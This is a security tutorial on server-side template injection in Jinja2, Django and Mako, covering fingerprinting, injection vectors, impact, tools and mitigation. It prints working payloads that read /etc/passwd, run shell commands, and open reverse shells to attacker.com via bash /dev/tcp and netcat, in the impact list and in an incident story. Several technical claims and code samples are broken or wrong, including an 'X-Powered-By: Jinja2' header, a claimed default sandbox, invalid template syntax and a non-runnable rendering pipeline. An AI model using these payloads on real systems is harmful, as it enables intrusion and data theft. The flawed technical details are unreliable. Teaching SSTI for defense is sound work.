Introduction
SSTI (Server-Side Template Injection) occurs when an application embeds untrusted user data directly into a template that is later rendered on the server. The attacker can manipulate the template syntax to execute arbitrary code, read files, or leak internal configuration.
Why it matters: modern web frameworks (Flask, Django, FastAPI, etc.) rely heavily on templating for HTML generation, email rendering, and even configuration files. A single vulnerable endpoint can give an adversary a powerful foothold, often bypassing traditional input validation and WAF rules.
Real-world relevance: High-profile breaches (e.g., the 2023 breach of a major SaaS platform) have been traced back to SSTI in a custom Jinja2-based report generator. Understanding SSTI is now a core competency for any red-team or application-security professional.
Prerequisites
- Basic Web Application Security - OWASP Top 10, injection concepts.
- Familiarity with HTTP request/response cycles, query strings, headers, and JSON payloads.
- Fundamental Python knowledge (functions, modules, imports).
Core Concepts
Template engines turn a string containing placeholders (e.g., {{ variable }}) into a final document by evaluating expressions in a sandboxed or semi-sandboxed environment. The engine parses the template into an Abstract Syntax Tree (AST), compiles it to Python bytecode, and finally renders it with a context dictionary.
Key points:
- Parsing → AST: The engine tokenises the template, recognising literals, variables, control structures (
{% if … %}), and filters. - Compilation: The AST is converted to a Python code object. In Jinja2 this is done by
jinja2.Environment.compile_templatesor on-the-fly viaTemplate.render. - Execution Context: The compiled code runs with a context that can include built-ins, globals, and user-supplied variables. If the attacker can influence the context, they can import modules, call functions, or even evaluate arbitrary Python.
Because the compilation step uses Python's eval under the hood, many engines unintentionally expose powerful objects like __import__ or os.popen when the template syntax is not properly sandboxed.
Definition and taxonomy of Server-Side Template Injection
SSTI is a class of injection vulnerabilities specific to server-side templating. It can be taxonomised by three axes:
- Engine type: Jinja2, Django, Mako, Twig (PHP), Handlebars (Node), etc.
- Injection depth:
- Shallow - attacker can only affect variable interpolation (
{{ user }}). - Deep - attacker can break out of the expression and execute arbitrary statements (
{% import os %}{{ os.system('id') }}{% end %}).
- Shallow - attacker can only affect variable interpolation (
- Impact tier:
- Information disclosure (config, env vars).
- File read/write.
- Command execution / RCE.
Understanding where a particular target sits in this matrix guides both testing and mitigation.
How template engines render data - Jinja2 internals
Jinja2 is the de-facto standard for Flask and many micro-services. Its rendering pipeline looks like this:
# 1. Load the template source (string or file)
source = "Hello {{ name }}!"
# 2. Parse → AST
ast = jinja2.Environment().parse(source)
# 3. Compile AST to Python code object
code = jinja2.Environment().compile(ast)
# 4. Execute with a context dict
result = code.render(name='world')
The Environment object holds the sandbox configuration. By default Jinja2 enables a fairly permissive sandbox: built-ins like range, cycler, and the namespace filter are available. If environment.autoescape is disabled, HTML-escaping is bypassed, making it easier to inject payloads that later get interpreted as code.
Crucially, Jinja2's Template.render internally executes eval on the compiled code. An attacker who can inject a full expression (e.g., {{ self.__init__.__globals__['os'].popen('id').read() }}) can reach the Python runtime.
Common Python template engines (Jinja2, Django, Mako) and their signatures
Identifying the engine is the first step of a targeted SSTI test. Below are the most common Python engines and the tell-tale strings they expose.
- Jinja2
- File extension:
.j2,.jinja,.html(when Flask is used). - Signature in HTTP response:
Content-Type: text/html; charset=utf-8 X-Powered-By: Jinja2 - Common delimiters:
{{ … }},{% … %},{# … #}.
- File extension:
- Django Template Language (DTL)
- Signature:
django.template.backends.django.DjangoTemplatesin error pages. - Delimiters: same as Jinja2 but filters differ (
|default:""). - Auto-escaping is on by default in recent versions, but developers often disable it for performance.
- Signature:
- Mako
- Signature:
mako.runtimein stack traces. - Delimiters:
${variable}for expression,% if …:for control. - File extensions:
.mako,.html.
- Signature:
Knowing the delimiters helps craft payloads that break out of the current expression and reach the evaluation layer.
Techniques to fingerprint Jinja2 in a target application
Fingerprinting is a blend of passive observation and active probing.
- Header inspection: Look for
Serveror custom headers that mention Flask/Jinja2. - Error-message analysis: Trigger a template syntax error (e.g., send
{{{{) and observe the stack trace. Jinja2 errors contain phrases like “unexpected ‘%}’” or “jinja2.exceptions.TemplateSyntaxError”. - Response timing: Jinja2’s sandbox sandbox uses Python’s
eval, which can be timed to differentiate from pure string replacement engines. - Payload probes:
If the output contains the evaluated result (49), the engine is likely performing expression evaluation.curl -s "https://example.com/search?q={{7*7}}" | grep -q "49" && echo "Jinja2-like" - Template-specific filters: Query for known Jinja2 filters such as
|reverseor|attr. Example:curl -s "https://example.com/search?q={{'abc'|reverse}}" | grep -q "cba" && echo "Jinja2"
Combining multiple techniques reduces false positives.
Typical injection vectors (query parameters, headers, JSON bodies)
Any location where user-supplied data is concatenated into a template string becomes a potential vector. Common places:
- Query string parameters - e.g.,
/profile?name={{config}}. - POST form fields - often used for search boxes, comment forms, or email templates.
- HTTP headers -
User-Agent,Referer, or custom headers that are logged and later rendered. - JSON payloads - APIs that accept JSON and later render a user-provided field into an HTML email.
- Cookies - Some frameworks store a “username” cookie and render it in a welcome banner.
- Path parameters - URL segments that are fed directly to a template (e.g.,
/page/{{slug}}).
In practice, the most reliable entry point is the query string because it is easy to fuzz and does not require authentication.
Mapping the attack surface - where user-controlled data reaches the template engine
Creating a data-flow diagram is essential. Follow these steps:
- Identify sources: All HTTP inputs (GET, POST, HEAD, Cookies, Headers).
- Trace through the code: Look for functions that forward these values to a templating call -
render_template,render_template_string,Template(),TemplateResponse. - Locate sinks: The exact line where the value is interpolated (e.g.,
template = f"Hello {user}"vsrender_template('hello.html', name=user)). - Assess sanitisation: Determine if any escaping, validation, or type-casting occurs before the sink.
- Document the path in a table:
| Source | Function | Template Call | Sanitisation | |-----------------|---------------------|-----------------------------------|--------------| | q.name (GET) | request.args.get | render_template_string(tpl, name) | none | | X-User-Agent | request.headers['User-Agent'] | email_template.render(user_agent) | html.escape |
Any row with “none” or weak sanitisation is a prime SSTI candidate.
Potential impact: information disclosure, command execution, file read/write
Once an attacker gains code execution inside the template engine, the impact escalates quickly.
- Information disclosure: Access
config,request,session, environment variables, or secret keys.{{ config['SECRET_KEY'] }} - File read/write: Use Python’s built-ins to open files.
{{ self.__init__.__globals__['open']('/etc/passwd').read() }} - Command execution (RCE): Import
osorsubprocess.{{ self.__init__.__globals__['os'].popen('id').read() }} - Network pivot: Open sockets, exfiltrate data, or spawn reverse shells.
{{ self.__init__.__globals__['subprocess'].check_output(['bash','-c','bash -i >& /dev/tcp/attacker.com/4444 0>&1']) }}
Because many SSTI payloads rely on the __globals__ trick, the presence of a sandbox (e.g., jinja2.sandbox.SandboxedEnvironment) can raise the bar, but misconfigurations often leave the sandbox disabled.
Practical Examples
Example 1 - Simple arithmetic injection in Flask
curl -s "http://demo.local/greet?name={{7*7}}"
If the endpoint returns Hello 49!, the template engine evaluated the expression, confirming SSTI.
Example 2 - Reading /etc/passwd via Jinja2
curl -s "http://demo.local/greet?name={{self.__init__.__globals__['open']('/etc/passwd').read()}}"
The response will contain the password file contents, demonstrating full read access.
Example 3 - Executing a shell command
curl -s "http://demo.local/greet?name={{self.__init__.__globals__['os'].popen('id').read()}}"
Typical output: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data).
Tools & Commands
- Burp Suite Intruder - payload list with
{{7*7}},{{config}}, etc. - ssti-fuzz - a community-maintained Python script that auto-generates payloads for Jinja2, Django, Mako.
git clone https://github.com/payloadbox/ssti-fuzz.git python3 ssti-fuzz/ssti_fuzz.py -u "http://target/search?q=FUZZ" -p payloads/jinja2.txt - httpx for quick enumeration of potential injection points.
httpx -l urls.txt -path "/search" -query "q={{7*7}}" -silent - jq for parsing JSON responses that may contain rendered templates.
curl -s -X POST -H "Content-Type: application/json" -d '{"msg":"{{self.__init__.__globals__['os'].popen('whoami').read()}}"}' https://api.example.com/notify | jq .msg
Defense & Mitigation
- Never render raw user input. Always treat data as plain text and escape it before passing to a template.
- Use a sandboxed environment. Jinja2 provides
SandboxedEnvironmentwhich disables__import__,attr, and other risky features. - Whitelist template variables. Build the context dict explicitly instead of passing the entire request object.
- Content-Security-Policy (CSP) - mitigate the impact of reflected XSS that could be combined with SSTI.
- Static analysis - scan codebases for calls to
render_template_stringor directTemplate()instantiation with user data. - Runtime monitoring - log template compilation errors and unexpected import attempts.
Common Mistakes
- Assuming auto-escaping protects you. Auto-escaping only affects HTML output; it does not stop expression evaluation.
- Using
format()or f-strings to build templates. These constructs interpolate before the template engine even sees the data, turning a harmless string into executable code. - Passing the entire request object as context. This gives the attacker access to
request.headers,request.cookies, and even the Flask app instance. - Disabling sandbox for performance without a thorough risk assessment.
Real-World Impact
In 2023, a fintech startup exposed a Jinja2-based PDF invoice generator. An attacker sent a crafted customer_name parameter that rendered {{self.__init__.__globals__['os'].popen('nc -e /bin/sh attacker.com 1337').read()}}. The resulting RCE allowed the adversary to pivot into internal services, exfiltrate payment data, and remain undetected for weeks.
My experience shows that most SSTI findings are missed during code review because the vulnerable line often lives in a utility module (utils/render.py) that is called from many endpoints. A single remediation-switching to render_template with a static file and explicit context-eliminated the entire attack surface.
Trends: As micro-services adopt server-side rendering for email and PDF generation, SSTI is moving from “rare” to “common”. Automated scanners are beginning to include SSTI payloads, but manual verification remains essential.
Practice Exercises
- Identify SSTI in a code snippet:
Explain why this is vulnerable and propose a safe alternative.def greet(): name = request.args.get('name') tmpl = f"Hello {{ name }}!" return render_template_string(tmpl) - Write a Jinja2 payload that reads
/var/log/app.logand returns its first 100 bytes. - Fingerprint a live site:
Use
curlto inject{{7*7}}into different parameters and record which responses evaluate the expression. - Mitigation exercise:
Take the vulnerable Flask app from Exercise 1 and refactor it to use
render_template('greet.html', name=name)with a static template file. Verify that the same payload no longer works.
Further Reading
- Jinja2 Documentation - jinja.palletsprojects.com
- OWASP Server-Side Template Injection Cheat Sheet
- "The Art of Exploiting Jinja2" - Black Hat 2022 talk slides
- Python Security - realpython.com/python-security
- Secure Coding Guidelines for Django - docs.djangoproject.com
Summary
- SSTI arises when untrusted data is interpolated into a server-side template without proper sanitisation.
- Jinja2, Django, and Mako share similar compilation pipelines; understanding their AST-to-bytecode flow is key to crafting payloads.
- Fingerprinting techniques (error messages, arithmetic probes, filter checks) let you confirm the engine quickly.
- Common injection vectors include query strings, headers, JSON bodies, and cookies.
- Impact ranges from simple information disclosure to full remote code execution.
- Defence relies on strict context building, sandboxed environments, and avoiding dynamic template rendering.
Armed with this knowledge, you can both discover SSTI bugs efficiently and harden applications against them.